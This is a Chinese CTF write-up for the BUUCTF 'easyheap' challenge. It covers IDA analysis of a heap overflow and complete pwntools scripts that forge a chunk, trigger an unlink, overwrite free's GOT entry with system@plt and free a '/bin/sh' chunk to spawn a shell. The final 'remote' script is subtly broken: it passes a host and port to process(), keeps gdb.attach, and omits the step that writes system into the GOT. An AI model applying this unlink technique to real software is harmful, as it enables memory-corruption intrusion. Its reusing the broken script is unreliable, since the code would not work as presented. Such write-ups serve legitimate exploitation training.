1,三连
主要功能:
1、malloc申请chunk
2、修改chunk内容
3、free chunk
4、exit
堆题多看一个libc信息:
2,IDA分析
2.1、malloc申请chunk
- heaparray[i]:存放 chunk 的地址。
- read_input(heaparray[i], size):向 chunk 写入 size 大小的内容。
- heaparray是存放在bss段上的(一个全局地址,这很关键)
2.2、修改chunk内容
- read_input(*(&heaparray + v1), v2)
向 chunk 中写入 v2(我们可输入控制) 大小的内容,也就是说如果 v2 比 create 时的 size 大的话就会造成堆溢出。
2.3、free chunk
- 安全的free chunk,不存在UFA
2.4、找到个system
思路:unlink利用
,PIE保护也没有开启,正好可以修改free的got表.
3,首先针对每个函数写出对应的函数
def add(size,content):
r.recvuntil("Your choice :")
r.sendline('1')
r.recvuntil("Size of Heap : ")
r.sendline(str(size))
r.recvuntil("Content of heap:")
r.sendline(content)
def edit(idx, size, content):
r.recvuntil("Your choice :")
r.sendline('2')
r.recvuntil("Index :")
r.sendline(str(idx))
r.recvuntil("Size of Heap : ")
r.sendline(str(size))
r.recvuntil("Content of heap : ")
r.sendline(content)
def delete(idx):
r.recvuntil("Your choice :")
r.sendline('3')
r.recvuntil("Index :")
r.sendline(str(idx))
获取到堆在BSS段上的地址:heaparray_addr = 0x6020E0
4,不断调试测试payload
首先创建三个chunk:
add(0x90,b"AAAA") #CHUNK0
add(0x90,b"AAAA") #CHUNK1
add(0x20,b"/bin/sh\x00") #CHUNK2
编辑chunk0构造出一个fake_chunk,方便chunk1 free的时候进行合并:
# pre_size + size + fd + bk
fake_chunk = p64(0)+p64(0x91) + p64(heaparray_addr-0x18) + p64(heaparray_addr-0x10)
# mem
fake_chunk = fake_chunk.ljust(0x90,b'A')
# pre_size + size
fake_chunk += p64(0x90) + p64(0xa0)
扩展:
已经patch了libc,但是ld和libc还是得这样分来指定才能顺利替换,奇怪!
如果全都本地指定也不行。
调试1:
调试2:
unlink前状态:
调试3:
前面伪造的fd=0x6020C8
调试4:
后面只用关注伪造的fd地址0x6020C8即可,也即是heaparray_addr - 0x18
调试5:
完整调试payload:
from pwn import *
context.log_level = "debug"
#r = remote("node4.buuoj.cn",27837)
#r = process("./easyheap")
#r = process(["ld-2.23.so","./easyheap"],env={"LD_PRELOAD":"./libc-2.23.so"})
r = process(["./easyheap"],env={"LD_PRELOAD":"./libc-2.23.so"})
elf = ELF("./easyheap")
def add(size,content):
r.recvuntil("Your choice :")
r.sendline('1')
r.recvuntil("Size of Heap : ")
r.sendline(str(size))
r.recvuntil("Content of heap:")
r.sendline(content)
def edit(idx, size, content):
r.recvuntil("Your choice :")
r.sendline('2')
r.recvuntil("Index :")
r.sendline(str(idx))
r.recvuntil("Size of Heap : ")
r.sendline(str(size))
r.recvuntil("Content of heap : ")
r.sendline(content)
def delete(idx):
r.recvuntil("Your choice :")
r.sendline('3')
r.recvuntil("Index :")
r.sendline(str(idx))
heaparray_addr = 0x6020E0
system_plt = elf.plt['system']
free_got = elf.got['free']
gdb.attach(r)
#gdb.attach(r, '''
# set follow-fork-mode child
# b *0x400000+0xC34
# c
#''')
add(0x90,b"AAA")#0
add(0x90,b"AAA")#1
add(0x20,b"/bin/sh\x00")#2
#pause()#break1
# pre_size + size + fd + bk
fake_chunk = p64(0)+p64(0x91) + p64(heaparray_addr-0x18) + p64(heaparray_addr-0x10)
# mem
fake_chunk = fake_chunk.ljust(0x90,b'A')
# pre_size + size
fake_chunk += p64(0x90) + p64(0xa0)
edit(0,0x100,fake_chunk)
#pause()#break2
#unlink
delete(1)
#pause()#break3
#chunk[3] = arbitray write addr
payload = p64(0)*3 + p64(free_got)
edit(0,0x20,payload)
#pause()#break4
#chunk[0] = plt
edit(0,8,p64(system_plt))
pause()#break5
delete(2)
r.interactive()
pause()调试缺点:注释后每次都得重新执行
复习思路:
heaparray_addr = malloc(chunk0)这里获得的就是&chunk[0];
unlink后
chunk[3] ==
&chunk[0];
通过修改chunk[3]的值 ->控制 &chunk[0] ->
heaparray_addr的值被修改,本来应该是真正堆上的地址变成了chunk[3] = [任意地址]
heaparray_addr = &chunk[0] ==
chunk[3] ->实现[任意地址]写
unlink场景特征:
1、存在溢出
2、一个全局指针
目的:
实现任意地址写
解题技巧:
1、伪造chunk[2]=[全局地址-3] ;chunk[3] = [全局地址-2]
(目的:为了实现unlink后,chunk[3] ==
&chunk[0];)
2、溢出伪造下一个chunk的pre_size和size
3、填入控制任意地址,chunk[3] = [任意地址]
4、给任意地址填入内容,chunk[0] = [任意内容]
5,远程不调试版payload
from pwn import *
context.log_level = "debug"
r = process("node4.buuoj.cn",28444)
elf = ELF("./easyheap")
def add(size,content):
r.recvuntil("Your choice :")
r.sendline('1')
r.recvuntil("Size of Heap : ")
r.sendline(str(size))
r.recvuntil("Content of heap:")
r.sendline(content)
def edit(idx, size, content):
r.recvuntil("Your choice :")
r.sendline('2')
r.recvuntil("Index :")
r.sendline(str(idx))
r.recvuntil("Size of Heap : ")
r.sendline(str(size))
r.recvuntil("Content of heap : ")
r.sendline(content)
def delete(idx):
r.recvuntil("Your choice :")
r.sendline('3')
r.recvuntil("Index :")
r.sendline(str(idx))
heaparray_addr = 0x6020E0
system_plt = elf.plt['system']
free_got = elf.got['free']
add(0x90,b"AAA")#0
add(0x90,b"AAA")#1
add(0x20,b"/bin/sh\x00")#2
# pre_size + size + fd + bk
fake_chunk = p64(0)+p64(0x91) + p64(heaparray_addr-0x18) + p64(heaparray_addr-0x10)
gdb.attach(r)
#gdb.attach(sh,"b* 0x400930")
# mem
fake_chunk = fake_chunk.ljust(0x90,b'A')
# pre_size + size
fake_chunk += p64(0x90) + p64(0xa0)
edit(0,0x100,fake_chunk)
#unlink
delete(1)
#chunk[3] = arbitray write addr
payload = p64(0)*3 + p64(free_got)
edit(0,0x20,payload)
#chunk[0] = plt
delete(2)
r.interactive()